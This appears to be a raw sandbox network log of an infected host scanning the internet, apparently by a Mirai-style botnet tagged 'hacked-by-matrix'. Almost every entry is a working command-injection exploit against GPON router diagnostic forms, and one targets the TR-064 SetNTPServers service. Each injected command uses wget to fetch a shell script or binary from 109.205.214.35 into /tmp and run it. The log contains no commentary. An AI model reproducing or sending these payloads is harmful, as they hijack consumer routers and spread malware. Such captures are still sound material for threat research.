Mar 21, 2024 05:23:08.685942888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
931	192.168.2.13	60340	5.154.72.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.685961962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
932	192.168.2.13	45358	42.206.118.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.685967922 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
933	192.168.2.13	38520	42.32.232.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686038017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
934	192.168.2.13	44568	212.146.238.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686038017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
935	192.168.2.13	42446	109.237.76.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686059952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
936	192.168.2.13	47430	5.155.222.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686085939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
937	192.168.2.13	41524	5.194.164.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686085939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
938	192.168.2.13	48624	212.80.10.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686091900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
939	192.168.2.13	46946	5.40.222.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686140060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
940	192.168.2.13	47570	212.99.57.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686140060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
941	192.168.2.13	45942	5.72.1.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686141014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
942	192.168.2.13	44818	109.20.88.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686148882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
943	192.168.2.13	37788	212.35.129.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686150074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
944	192.168.2.13	41408	109.93.90.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686170101 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
945	192.168.2.13	56076	42.107.81.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686177969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
946	192.168.2.13	33006	42.103.35.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686258078 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
947	192.168.2.13	60060	175.238.89.134	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686270952 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
948	192.168.2.13	55980	118.65.13.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686284065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
949	192.168.2.13	38240	109.149.247.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686285019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
950	192.168.2.13	51530	118.184.34.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686285973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
951	192.168.2.13	42314	212.121.92.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686290026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
952	192.168.2.13	43522	118.40.84.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686312914 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
953	192.168.2.13	46836	212.254.197.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686325073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
954	192.168.2.13	59626	42.125.100.114	443

Timestamp	Bytes transferred	Direction	Data
